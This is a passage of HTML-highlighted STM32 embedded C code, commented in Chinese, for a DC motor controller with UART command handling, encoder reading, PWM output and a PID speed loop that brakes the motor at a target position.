\u003cspan class=\"c1\"\u003e// 根据模式调用MoTo函数执行相应的操作。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// MoTo 函数定义时要把屏幕传过来的 (0/1) 和 真实转动的对应正确\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eMoTo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003emode\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 启动定时器,这样其他的中断才会发生。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eStart_TIM\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 如果速度或圈数为零,就说明要停下电机。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eMoTo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 调用MoTo函数执行刹停电机。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 重置各种参数(防止下次启动时有上次残留的值) 并且 停止定时器。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eStop_TIM\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 重新启用UART发送中断,以便后续可以发送数据。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_UART_ENABLE_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_IT_TXE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 重新启用UART接收中断,以便继续接收数据。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_UART_Receive_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 清空UART的数据寄存器,以确保不会因为残留数据而触发接收中断。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_UART_FLUSH_DRREGISTER\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 清除UART接收缓冲区非空标志位,以确保下一次接收可以正常触发中断。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_UART_CLEAR_FLAG\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_FLAG_RXNE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这里读取encoder有一个坑\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 由于这个encoder是一直累加(或减,取决于电机正反转)的, 它累加到最大值(减到0) 就自动重置了\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 因此你上一次读的数 不一定比 这次读的数大, 这样一算差值, 就可能出现一个极其大的负值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 为了防止这种情况, 我们就需要把这个 tim 的读数一开始(main里面就设置了)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 就设定到一个 中间数值(0和最大之间), 并且 每次读完之后都把它设定回去\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这样就能保证每次都得到一个 计算正确的 值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint16_t\u003c/span\u003e \u003cspan class=\"nf\"\u003eRead_Encoder\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint16_t\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_TIM_GET_COUNTER\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTIM2\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eCNT\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x7FFF\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e-=\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x7FFF\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这里因为电机 正传反转 有一种情况是累加,一种是累减, 所以有正有负\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 但是计算pid并设置pwm都是正值, 所以返回绝对值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eDead_Voltage\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e160\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eSet_Pwm\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eVelocity\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003e__HAL_TIM_SET_COMPARE\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM_CHANNEL_3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eVelocity\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003eDead_Voltage\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 固定时间间隔的 中断控制, 每0.1秒多执行一次\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_PeriodElapsedCallback\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTIM_HandleTypeDef\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 读取实际转速(相当于转速)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003eRead_Encoder\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 转速累和相当于总距离(实际上转速使用这个总距离做差才算出来的,前面已经解释过了)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 每次先判断是不是已经到了设定的要转的总距离, 如果是, 刹车关定时器重置相关参数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eReality_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Position\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 刹车\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eMoTo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 停止计时器\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eStop_TIM\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 用PID算法计算出要设定的pwm值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eSet_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"nf\"\u003ePID\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003epid\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这里串口输出一下调试信息,方便查看\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;target: %d, real: %d, set: %d\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eSet_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 设定pwm值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eSet_Pwm\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSet_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END 4 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief This function is executed in case of error occurrence.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @retval None\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eError_Handler\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN Error_Handler_Debug */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* User can add his own implementation to report the HAL error return state */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003e__disable_irq\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END Error_Handler_Debug */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#ifdef USE_FULL_ASSERT\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief Reports the name of the source file and the source line number\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan 